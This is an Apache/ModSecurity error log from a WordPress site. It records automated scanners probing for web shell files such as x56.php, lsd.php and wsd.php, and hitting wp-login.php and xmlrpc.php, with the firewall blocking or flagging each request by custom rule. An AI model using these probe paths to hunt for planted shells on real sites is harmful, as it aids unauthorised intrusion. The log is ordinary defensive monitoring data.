[Sun Mar 01 03:09:34.197132 2026] [:error] [pid 11920:tid 11948] [client 20.151.224.126:28632] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aaM9bizLNJUKxvBorrAzZgAAAZg"]
[Sun Mar 01 03:09:44.153661 2026] [:error] [pid 11920:tid 11935] [client 20.151.224.126:37487] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aaM9eCzLNJUKxvBorrAzpQAAAYs"]
[Sun Mar 01 03:09:45.838131 2026] [:error] [pid 30798:tid 30906] [client 20.151.224.126:28624] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aaM9ecBkD73gO8wTonbTrwAAAIc"]
[Sun Mar 01 03:09:50.167223 2026] [:error] [pid 30798:tid 30920] [client 20.151.224.126:37530] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aaM9fsBkD73gO8wTonbT0AAAAJQ"]
[Sun Mar 01 03:11:34.582522 2026] [:error] [pid 30798:tid 30911] [client 20.151.224.126:23769] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaM95sBkD73gO8wTonbXQQAAAIw"]
[Sun Mar 01 03:11:39.745056 2026] [:error] [pid 7644:tid 7670] [client 20.151.224.126:43597] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaM96_qeDUGmVAHX7VC6KAAAAVg"]
[Sun Mar 01 03:11:52.683806 2026] [:error] [pid 30798:tid 30901] [client 20.151.224.126:38259] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaM9-MBkD73gO8wTonbXagAAAII"]
[Sun Mar 01 03:11:54.021791 2026] [:error] [pid 53600:tid 53627] [client 20.151.224.126:19533] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaM9-g2UMRAYWtDB23QHVwAAARg"]
[Sun Mar 01 03:13:56.557546 2026] [:error] [pid 30798:tid 30901] [client 20.220.13.5:18179] [client 20.220.13.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.13.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aaM-dMBkD73gO8wTonbaPAAAAII"]
[Sun Mar 01 03:14:06.147001 2026] [:error] [pid 30798:tid 30920] [client 20.220.13.5:18179] [client 20.220.13.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.13.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaM-fsBkD73gO8wTonbaewAAAJQ"]
[Sun Mar 01 03:14:11.252521 2026] [:error] [pid 30798:tid 30915] [client 20.220.13.5:18179] [client 20.220.13.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.220.13.5, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaM-g8BkD73gO8wTonbakwAAAJA"]
[Sun Mar 01 03:14:16.881855 2026] [:error] [pid 30798:tid 30909] [client 20.220.13.5:18179] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaM-iMBkD73gO8wTonbasgAAAIo"]
[Sun Mar 01 03:14:17.704780 2026] [:error] [pid 30798:tid 30913] [client 20.220.13.5:18196] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaM-icBkD73gO8wTonbatQAAAI4"]
[Sun Mar 01 03:14:18.530826 2026] [:error] [pid 7644:tid 7651] [client 20.220.13.5:18220] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaM-ivqeDUGmVAHX7VC63gAAAUU"]
[Sun Mar 01 03:14:19.361539 2026] [:error] [pid 11920:tid 11925] [client 20.220.13.5:18128] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaM-iyzLNJUKxvBorrA48wAAAYE"]
[Sun Mar 01 03:16:45.134237 2026] [:error] [pid 30798:tid 30900] [client 51.178.183.70:59830] [client 51.178.183.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.178.183.70, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaM_HcBkD73gO8wTonbeXAAAAIE"]
[Sun Mar 01 03:35:34.877087 2026] [:error] [pid 11920:tid 11931] [client 142.91.98.24:57640] [client 142.91.98.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.91.98.24, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaNDhizLNJUKxvBorrBMlAAAAYc"]
[Sun Mar 01 04:44:01.181485 2026] [:error] [pid 21159:tid 21237] [client 87.247.142.97:55290] [client 87.247.142.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 87.247.142.97, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaNTkeLi3ouy1NZIkgoNoAAAAJA"]
[Sun Mar 01 04:44:01.275989 2026] [:error] [pid 21156:tid 21180] [client 51.75.233.102:42976] [client 51.75.233.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.75.233.102, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaNTkasaG_9IkG8N2p3dOQAAAA4"]
[Sun Mar 01 04:51:12.206959 2026] [:error] [pid 21156:tid 21185] [client 51.75.151.149:52716] [client 51.75.151.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.151.149, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaNVQKsaG_9IkG8N2p3f1gAAABM"]
[Sun Mar 01 05:00:57.697432 2026] [:error] [pid 21156:tid 21169] [client 5.9.40.119:54290] [client 5.9.40.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.9.40.119, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaNXiasaG_9IkG8N2p3i9QAAAAM"]
[Sun Mar 01 05:05:55.701781 2026] [:error] [pid 21263:tid 21268] [client 51.75.151.149:54993] [client 51.75.151.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "aaNYs9AxjzLvN1upBhnX8AAAAME"]
[Sun Mar 01 05:27:21.819290 2026] [autoindex:error] [pid 8688:tid 8712] [client 20.104.124.39:1532] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 05:28:05.503644 2026] [:error] [pid 24576:tid 24592] [client 20.104.124.39:1432] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaNd5Yvfb5CnctJh070BmQAAAQw"]
[Sun Mar 01 05:28:08.650646 2026] [:error] [pid 21159:tid 21239] [client 20.104.124.39:1527] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaNd6OLi3ouy1NZIkgok5AAAAJI"]
[Sun Mar 01 05:28:11.067409 2026] [:error] [pid 21159:tid 21244] [client 20.104.124.39:1487] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaNd6-Li3ouy1NZIkgok6gAAAJc"]
[Sun Mar 01 05:28:16.385177 2026] [:error] [pid 21159:tid 21228] [client 20.104.124.39:1411] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaNd8OLi3ouy1NZIkgok8AAAAIc"]
[Sun Mar 01 05:28:25.025460 2026] [:error] [pid 21263:tid 21281] [client 20.104.124.39:1418] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaNd-dAxjzLvN1upBhnl9wAAAM4"]
[Sun Mar 01 05:28:43.033887 2026] [:error] [pid 8688:tid 8710] [client 20.104.124.39:1511] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaNeCzHJ4Nn-RvulD0qMfAAAAVQ"]
[Sun Mar 01 05:28:48.056957 2026] [:error] [pid 21156:tid 21172] [client 20.104.124.39:1505] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaNeEKsaG_9IkG8N2p3qMAAAAAY"]
[Sun Mar 01 05:28:54.837908 2026] [:error] [pid 24576:tid 24581] [client 20.104.124.39:1502] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaNeFovfb5CnctJh070CLwAAAQI"]
[Sun Mar 01 05:29:17.226291 2026] [:error] [pid 8688:tid 8713] [client 20.104.124.39:1508] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaNeLTHJ4Nn-RvulD0qNjgAAAVc"]
[Sun Mar 01 05:29:19.158353 2026] [:error] [pid 21159:tid 21222] [client 20.104.124.39:1480] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaNeL-Li3ouy1NZIkgolMwAAAIE"]
[Sun Mar 01 05:29:32.695279 2026] [:error] [pid 8688:tid 8706] [client 20.104.124.39:1478] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaNePDHJ4Nn-RvulD0qN-wAAAVA"]
[Sun Mar 01 05:29:36.213669 2026] [:error] [pid 21263:tid 21270] [client 20.104.124.39:1534] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaNeQNAxjzLvN1upBhnmigAAAMM"]
[Sun Mar 01 05:29:42.149582 2026] [:error] [pid 8688:tid 8699] [client 20.104.124.39:1422] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaNeRjHJ4Nn-RvulD0qOSgAAAUk"]
[Sun Mar 01 05:29:50.255874 2026] [:error] [pid 8688:tid 8704] [client 20.104.124.39:1483] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaNeTjHJ4Nn-RvulD0qOewAAAU4"]
[Sun Mar 01 05:29:53.779093 2026] [:error] [pid 24576:tid 24587] [client 20.104.124.39:1491] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaNeUYvfb5CnctJh070DZgAAAQg"]
[Sun Mar 01 05:29:57.419850 2026] [:error] [pid 21263:tid 21280] [client 20.104.124.39:1515] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaNeVdAxjzLvN1upBhnmvQAAAM0"]
[Sun Mar 01 05:30:00.678314 2026] [:error] [pid 21156:tid 21169] [client 20.104.124.39:1425] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaNeWKsaG_9IkG8N2p3qcgAAAAM"]
[Sun Mar 01 05:30:05.148518 2026] [:error] [pid 21156:tid 21172] [client 20.104.124.39:1525] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaNeXasaG_9IkG8N2p3qeQAAAAY"]
[Sun Mar 01 05:30:07.548052 2026] [:error] [pid 8688:tid 8714] [client 20.104.124.39:17346] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaNeXzHJ4Nn-RvulD0qOxAAAAVg"]
[Sun Mar 01 05:30:08.991861 2026] [:error] [pid 8688:tid 8701] [client 20.104.124.39:1437] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaNeYDHJ4Nn-RvulD0qOzwAAAUs"]
[Sun Mar 01 05:30:11.535255 2026] [:error] [pid 8688:tid 8708] [client 20.104.124.39:1427] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaNeYzHJ4Nn-RvulD0qO1wAAAVI"]
[Sun Mar 01 05:30:12.132836 2026] [:error] [pid 8688:tid 8712] [client 20.104.124.39:1493] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaNeZDHJ4Nn-RvulD0qO2gAAAVY"]
[Sun Mar 01 05:30:12.685858 2026] [:error] [pid 21263:tid 21276] [client 20.104.124.39:1424] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaNeZNAxjzLvN1upBhnmzgAAAMk"]
[Sun Mar 01 05:30:13.222981 2026] [:error] [pid 8688:tid 8701] [client 20.104.124.39:1482] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaNeZTHJ4Nn-RvulD0qO4AAAAUs"]
[Sun Mar 01 05:30:13.822931 2026] [:error] [pid 21263:tid 21288] [client 20.104.124.39:1490] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaNeZdAxjzLvN1upBhnm0wAAANU"]
[Sun Mar 01 05:30:22.625376 2026] [:error] [pid 21156:tid 21174] [client 20.104.124.39:1535] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaNebqsaG_9IkG8N2p3qgwAAAAg"]
[Sun Mar 01 05:30:26.421339 2026] [:error] [pid 21263:tid 21281] [client 20.104.124.39:1422] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaNectAxjzLvN1upBhnm8QAAAM4"]
[Sun Mar 01 05:30:30.143434 2026] [:error] [pid 24576:tid 24584] [client 20.104.124.39:1485] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaNedovfb5CnctJh070DnQAAAQU"]
[Sun Mar 01 05:30:31.184059 2026] [:error] [pid 24576:tid 24597] [client 20.104.124.39:1429] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaNed4vfb5CnctJh070DoQAAARE"]
[Sun Mar 01 05:30:35.567848 2026] [:error] [pid 24576:tid 24594] [client 20.104.124.39:1510] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaNee4vfb5CnctJh070DtAAAAQ4"]
[Sun Mar 01 05:30:37.353109 2026] [:error] [pid 21263:tid 21270] [client 20.104.124.39:1476] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaNefdAxjzLvN1upBhnm-QAAAMM"]
[Sun Mar 01 05:30:39.290728 2026] [:error] [pid 21263:tid 21273] [client 20.104.124.39:1473] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaNef9AxjzLvN1upBhnm_AAAAMY"]
[Sun Mar 01 05:30:41.882433 2026] [:error] [pid 8688:tid 8713] [client 20.104.124.39:17378] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaNegTHJ4Nn-RvulD0qPQwAAAVc"]
[Sun Mar 01 05:30:42.459006 2026] [:error] [pid 21156:tid 21190] [client 20.104.124.39:1513] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaNegqsaG_9IkG8N2p3qmAAAABg"]
